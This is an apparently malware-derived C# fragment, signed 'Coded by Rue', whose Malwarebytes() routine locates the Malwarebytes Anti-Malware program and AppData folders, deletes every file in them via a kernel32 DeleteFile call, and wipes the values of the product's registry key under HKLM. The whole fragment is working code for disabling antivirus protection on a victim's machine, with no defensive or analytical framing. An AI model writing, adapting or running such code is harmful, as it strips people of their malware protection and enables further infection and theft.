        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern bool DeleteFile(string path);

        static void Malwarebytes()
        {
            List<string> MWBPaths = new List<string>();

            string ProgramFiles = Shell32.GetCSIDLPath(Shell32.CSIDL.CSIDL_PROGRAM_FILES);
            MWBPaths.Add(ProgramFiles + "\\Malwarebytes' Anti-Malware\\");

            string AppData = Shell32.GetCSIDLPath(Shell32.CSIDL.CSIDL_APPDATA);
            MWBPaths.Add(AppData + "\\Malwarebytes\\");

            //Coded by Rue
            foreach (string path in MWBPaths)
            {
                if (Directory.Exists(path))
                {
                    DirectoryInfo dirInfo = new DirectoryInfo(path);
                    FileInfo[] dirFiles = dirInfo.GetFiles("*.*", SearchOption.AllDirectories);

                    foreach (FileInfo file in dirFiles)
                        try { Kernel32.DeleteFile(file.FullName); }
                        catch { continue; }
                }
            }

            //Coded by Rue
            RegistryKey rmLmMbamKeys = Registry.LocalMachine.OpenSubKey("Software\\Malwarebytes' Anti-Malware\\", true);

            string[] LMValues = rmLmMbamKeys.GetValueNames();
            foreach (string key in LMValues)
                try { rmLmMbamKeys.DeleteValue(key); }
                catch { continue; }

            rmLmMbamKeys.Close();
        }